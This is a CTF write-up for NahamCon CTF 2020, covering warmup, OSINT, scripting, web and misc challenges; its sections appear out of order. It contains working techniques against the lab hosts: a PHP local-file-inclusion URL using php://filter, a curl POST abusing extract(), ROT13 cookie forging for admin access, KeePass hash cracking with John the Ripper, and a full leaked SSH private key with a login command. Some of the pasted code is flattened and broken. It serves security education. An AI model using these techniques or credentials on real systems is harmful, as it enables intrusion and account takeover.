**Solution:** Trap command is catching every command except trap, set the trap to something else with `trap '<command>' debug`.like `trap 'cat flag.txt' debug` to get flag## AwkwardNo output..? Awk-o-taco.
Connect here:`nc jh2i.com 50025`
**flag{okay_well_this_is_even_more_awkward}**
**Solution:** use grep to find cat all files and grep only to flag format
```python 3import refrom pwn import *from string import printablehost, port = 'jh2i.com', 50025
s = remote(host,port)
name = "flag{"while True: for c in "_" + printable: command = """grep -ro "{}.*"\n """.format(name + c) s.send(command) response = s.recv() return_code = re.findall("[0-9]+",str(response))[0] if int(return_code) == 0: if c != '*' name += c print(name) break else: printf(name + "}") breaks.close()```
***# Scripting
## DinaHelp! I can't make any sense out of what Dina is saying, can you??
Connect with:`nc jh2i.com 50035`
**Post CTF Writeup**\**flag{dina_speaks_in_dna_and_you_do_too}**
**Disclaimer:** I'll start of with a quick disclaimer, even though I ended solving it using frequency analysis and some common sense, I don't think what I did was the intention of the author, and I used the mapping john showed three or four times to validate a character and escape rabbit holes, though I think it can be done without using it at all if you have time, and after validating the first few characters I could easily complete the rest myself.\oh and another thing, the script I wrote is really ugly but it works well, you can use an empty mapping and remove the question types and it will still work, and I strongly recommend trying this yourself.
**Solution:** With the challenge we are given an host and a port to connect to, when we connect the server sends a string which comprises only of A,C,G,T and waits for input, if we give some random input it will respond with another string like the previous:

It seems to be a DNA sequence and if you have basic knowledge in biology you'll know that DNA sequences are interpreted by the ribosomes to proteins, and every sequence of 3 nucleic acids in the DNA or equivalently every 3 letters in the DNA which is called a codon is interpreted to one amino acid in the protein, so we can trying using this type of encoding to get a strings consisting of the letters of each matching amino acid, but it will not work.\we can next try using binary notations for each nucleic acid and decode the binary to ascii characters but this will also not work, after a google search about DNA encoding to English I stumbled upon this writeup https://github.com/ChapeauR0uge/write-ups/tree/master/b00t2root/crypto/genetics where the author uses a mapping from codons to English in order to decode the string, but the mapping didn't seem to help, at this point in the CTF I stopped and moved on to other challenges.\After the CTF and during the debrief that john did I discovered that the last thing I tried was kinda right but the mapping was incorrect, so I tried to find the right mapping on the internet, but I couldn't find it, and so I resorted to the last thing I could think of, to use frequency analysis.
In every alphabet there are characters who appear more than others, for example the letter a appears more than z and e appears more than a, also if we look at all the printable symbols we will also see that the space symbol appears more than e or any other characters, we can also look at the frequency of one word or two words and so on and see the same trend.\We can use that to our advantage, so I started out by finding a list of frequencies for all the printable symbols (https://www.wired.com/2013/08/the-rarity-of-the-ampersand/) and then wrote a small script which connect to the server a number of times (I used 50) and count the occurrences of every codon in the string and in the end lists them in descending order of occurrences (you can see parts of it in the final script), also, in every session the script would try to guess the plaintext using the already mapped codons or the total number of occurrences of the each codons against the list of frequencies of symbols if it was not mapped, I used it to map codons to the space symbol and e, then map to a and t by looking at the ciphertexts and recognizing words (we can easily guess the mapping for a from a one-letter word and the mapping for t and h from a very frequent three letter-word), admittedly I used john script in the debrief to figure out that the first word in every ciphertext, which is a two-letter word without i, n or t, is a number and and colon (I though initially that it was yo or mr), by using letter frequency and word frequency and most importantly common sense I mapped around ten to fifteen codons to characters, but than I hit a roadblock, even though most of the encoded sentence is a readable string like "enter the string" the string in question is a combination of random letters, for example (actually taken from a run):
`send back yirkbmusswnqmhq as a string`
and for that no frequency analysis would have helped, so I turned to what I do best, bruteforcing everything I can.
At this point when I had around ten to fifteen characters mapped so sometimes when the sun and the moon align the random string would be comprised by only mapped letters, and more commonly but still rare enough I'll get that the string comprises only of mapped codons except one, and we can use the response of the server for this kind of strings to eliminate mappings or discover the actual mapping, and so I upped the number of retries of the script would do to 200, and added that in every session the script would try to recognize the question sent by the server and send back the matching string *upper-cased* (yeah that throw me off for a while), I then manually went through the output and tried to eliminate wrong mapping or to see if the script discovered any correct one (actually when I think of it I could have written a script which automatically does that):
```python 3import refrom pwn import remotefrom random import choice
# The predicted mapping of the codonsmapping = {"AAA":'y', "AAC":'q', "AAG":'k', "AAT":'', "ACA":'q', "ACC":'1', "ACG":'s', "ACT":'0', "AGA":'~', "AGC":'', "AGG":'=', "AGT":'j', "ATA":' ', "ATC":'', "ATG":'i', "ATT":'', "CAA":'', "CAC":'', "CAG":'', "CAT":'', "CCA":'b', "CCC":'', "CCG":'w', "CCT":'v', "CGA":'a', "CGC":'h', "CGG":'', "CGT":'', "CTA":'x', "CTC":'', "CTG":'u', "CTT":'z', "GAA":'', "GAC":'', "GAG":'4', "GAT":'.', "GCA":'3', "GCC":'', "GCG":'/', "GCT":':', "GGA":'o', "GGC":'e', "GGG":'', "GGT":'f', "GTA":'', "GTC":'', "GTG":'p', "GTT":'c', "TAA":'', "TAC":'', "TAG":'2', "TAT":'', "TCA":'r', "TCC":'m', "TCG":',', "TCT":'n', "TGA":'', "TGC":'l', "TGG":'', "TGT":'', "TTA":'<', "TTC":'t', "TTG":'d', "TTT":'g'}
# The type of questions dina asks and the position of the string in themquestion_types = {'send the string': 4, 'send the message': 5, 'send this back': 4, 'go ahead and send': 5, 'back to me': 2, 'enter this back': 7, 'please respond with': 4, 'respond with': 3, 'enter the string': 4, 'please send back': 4, 'send back': 3, }
def beautify_data(msg): return str(msg)[2:-3].replace("\\n","")
# frequency analysis stufffrequency = { a: 0 for a in mapping }letter_frequency = list(' etaoinsrhldcumfgpywb,.vk-\"_\'x)(;0j1q=2:z/*!?$35>\{\}49[]867\\+|&<%@#^`~.,')for i in range(len(letter_frequency)): if letter_frequency[i] in mapping.values(): letter_frequency[i] = choice(letter_frequency)letter_frequency = ''.join(letter_frequency)
host, port = 'jh2i.com', 50035for _ in range(200): s = remote(host,port) index = 0 while 1:
# Recieves until a message is sent ciphertext = '' try: while ciphertext == '': ciphertext = beautify_data(s.recv()) except EOFError: s.close() break # Checks if the flag is given if 'flag' in ciphertext: print(ciphertext) exit(0)
# Find the frequency of each codon for frequency analysis for i in range(0,len(ciphertext),3): frequency[ciphertext[i:i+3]] += 1 frequency = {k:frequency[k] for k in sorted(frequency, key= frequency.get, reverse=True)}
# The mapping letters from frequency analysis frequency_letters = [] # The whole plaintext plaintext = [] for i in range(0,len(ciphertext),3): # Checks if the mapping for the codon is known, if not predict a letter otherwise uses the mapping if mapping[ciphertext[i:i+3]] == '': plaintext.append(letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])]) frequency_letters.append((ciphertext[i:i+3],letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])])) else: plaintext.append(mapping[ciphertext[i:i+3]])
plaintext = ''.join(plaintext) if 'nope' in plaintext: break
print(ciphertext) print(plaintext) print(str(index) + ": " + str(frequency_letters))
response = 'random' for q in question_types.keys(): if q in plaintext: response = plaintext.split(" ")[question_types[q]] break
print(response) s.send(response.upper()) index += 1
print(frequency)```and oh boy did it worked, after a little more than an hour I succeeded in finding out a mapping for every used codon and get the flag:

actually the mapping is not spot-on for numbers but because the string only comprises of letters this is not that crucial.
## RottenIck, this salad doesn't taste too good!
Connect with:\`nc jh2i.com 50034`
**flag{now_you_know_your_caesars}**
**Solution:** server response is ceaser cipher encrypted, code:
```python 3from pwn import remoteimport reimport rehost, port = 'jh2i.com', 50034s = remote(host,port)flag = [''] * 32for _ in range(200): question = s.recv() answer = list(str(question)[2:-3]) for i in range(27): for j in range(len(answer)): if ord(answer[j]) >= ord('a') and ord(answer[j]) <= ord('z'): answer[j] = chr((ord(answer[j]) - ord('a') + 1) % ( ord('z') - ord('a') + 1) + ord('a')) plain = ''.join(answer) if 'send back' in plain: break position = re.findall("[0-9]+",plain) if len(position) > 0: flag[int(position[0])] = plain[-2] empty = [i for i in range(len(flag)) if flag[i] == ''] print(''.join(flag), end='\r\n') s.send(plain)s.close()```
## Really powerful GnomesOnly YOU can save the village!
Connect with:`nc jh2i.com 50031`
**flag{it_was_in_fact_you_that_was_really_powerful}**
**Solution:** Automate going on adventure and buying weapons:
```python 3from pwn import *import reprices = [1000,2000,10000,100000,10000]gold = 0def beautify_data(msg): return str(msg)[2:-1].replace("\\n","\n")host, port = 'jh2i.com', 50031s = remote(host,port)for i in range(5): response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) s.send("6\n{}\n".format(i + 1)) while int(gold) < prices[i]: response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) gold = re.findall("[0-9]+",response)[1] print("gold: " + gold) s.send("{}\n".format(5 - i))s.send("1\n")if "flag" in response: print(re.findall("flag{.*?}",response)[0])s.interactive()s.close()```
***
# Web
## Agent 95They've given you a number, and taken away your name~
Connect here:\http://jh2i.com:50000
**flag{user_agents_undercover}**
**Solution:** Change User agent to Windows 95
## LocalghostBooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??
Connect here:\http://jh2i.com:50003
**JCTF{spoooooky_ghosts_in_storage}**
**Solution:** In JavaScript code for jquerty.jscroll2 after beautifying, flag variable contains flag in bytes
## PhphonebookRing ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!
Connect here:\http://jh2i.com:50002
**flag{phon3_numb3r_3xtr4ct3d}**
**Solution:** With the challenge we are given a website with the following index page:

so the site tells us that the php source for the page accepts parameters...oooh we might have LFI (local file inclusion), php allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage, php scripts stay in the server-side and should not be revealed to the client-side as it may contain sensitive data (and there is no use to it in the client-side), if we want to leak the php files we'll need to encode or encrypt the data as the LFI vulnerable php code will read the file as code and execute it, we can do such things using the php://filter wrapper, using this wrapper in the following way will leak the php source code for index page:
`http://jh2i.com:50002/index.php?file=php://filter/convert.base64-encode/resource=index.php`
and by going to this url we get the file base64 encoded:

```PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CiAgPGJvZHk+Cgk8P3BocAoJCSRmaWxlPSRfR0VUWydmaWxlJ107CgkJaWYoIWlzc2V0KCRmaWxlKSkKCQl7CgkJCWVjaG8gIlNvcnJ5ISBZb3UgYXJlIGluIC9pbmRleC5waHAvP2ZpbGU9IjsKCQl9IGVsc2UKCQl7CgkJCWluY2x1ZGUoc3RyX3JlcGxhY2UoJy5waHAnLCcnLCRfR0VUWydmaWxlJ10pLiIucGhwIik7CgkJCWRpZSgpOwoJCX0KCT8+CgkgIAk8cD5UaGUgcGhvbmVib29rIGlzIGxvY2F0ZWQgYXQgPGNvZGU+cGhwaG9uZWJvb2sucGhwPC9jb2RlPjwvcD4KCjxkaXYgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyBib3R0b206MSU7IGxlZnQ6MSU7Ij4KPGJyPjxicj48YnI+PGJyPgo8Yj4gTk9UIENIQUxMRU5HRSBSRUxBVEVEOjwvYj48YnI+VEhBTksgWU9VIHRvIElOVElHUklUSSBmb3Igc3VwcG9ydGluZyBOYWhhbUNvbiBhbmQgTmFoYW1Db24gQ1RGIQo8cD4KPGltZyB3aWR0aD02MDBweCBzcmM9Imh0dHBzOi8vZDI0d3VxNm85NTFpMmcuY2xvdWRmcm9udC5uZXQvaW1nL2V2ZW50cy9pZC80NTcvNDU3NzQ4MTIxL2Fzc2V0cy9mN2RhMGQ3MThlYjc3YzgzZjVjYjYyMjFhMDZhMmY0NS5pbnRpLnBuZyI+CjwvcD4KPC9kaXY+CgogIDwvYm9keT4KIDwvaHRtbD4=```and decoding this from base64 gives us the code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head> <body> The phonebook is located at phphonebook.php
The phonebook is located at phphonebook.php
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```
we can now tell by this line `include(str_replace('.php','',$_GET['file']).".php");` that we only leak php files as the code removes the php extension from the file given as input (if there is one) and then appends a php extension to it, I think that there are ways to go around this but it is not important for this challenge, doing the same for phphonebook.php gives us this code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head>
<body class="bg"> <h1 id="header"> Welcome to the Phphonebook </h1>
<div id="im_container">
This phphonebook was made to look up all sorts of numbers! Have fun...
This phphonebook was made to look up all sorts of numbers! Have fun...
</div> <div> <form method="POST" action="#"> <label id="form_label">Enter number: </label> <input type="text" name="number"> <input type="submit" value="Submit"> </form> </div>
<div id="php_container"> </div>
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```by the end of the code there is a php segment where the method extract is used on $\_POST and then there is a check if $emergency is set, if so the code echoes the content of a file called flag.txt.\this is really interesting, I'll explain the gist of it mainly because I'm not so strong at php, the $_POST is the array of variables passed to the script when an HTTP POST request is sent to it (we commonly use 2 type of HTTP request, POST and GET, where GET asks from the server to return some resource for example the source for a page, and POST also sends variables to a file in the server in the request body), the extract method extracts the variables from the array, the extracted variable name is set to the name passed in the HTTP request and the value is set to the corresponding value, the isset method just checks if there is a variable with this name, by all this we can infer that we need to send a POST request to the server with a variable named emergency which has some arbitrary value in order to get the server to print the flag, we can do so using curl or using a proxy like burp suite like I will show first, we need to set burp suite as our proxy and send a post request to the server, we can do such that using the submit button in the phphonebook page:

burp suite catches the request and allows us to edit it:

we now only need to add an emergency variable and we get the flag:


with curl we can simply use the following command `curl -X POST --data "emergency=1" http://jh2i.com:50002/phphonebook.php` and by using that and grepping for the flag format we can easily get the flag:

**Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* HTTP request methods: https://www.w3schools.com/tags/ref_httpmethods.asp* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion |
# **NahamCon CTF 2020**
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:

## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:

well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:

notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:

We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:

**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:

There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:

**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:

By the description we know that we need to login as admin, but if we try using admin as our username we get the following:

But we can login with any other username:

If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:

we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:

now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:

**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:

This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:

**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:

this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:

**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:

The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:

and by saving the modified file and viewing it again we get the flag:

**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:

we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:

link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:

**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:

**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:

**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:

there are 2 repositories for the user:

the second one is not very helpful:

but the first one has some interesting files:

the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?

yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:

***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
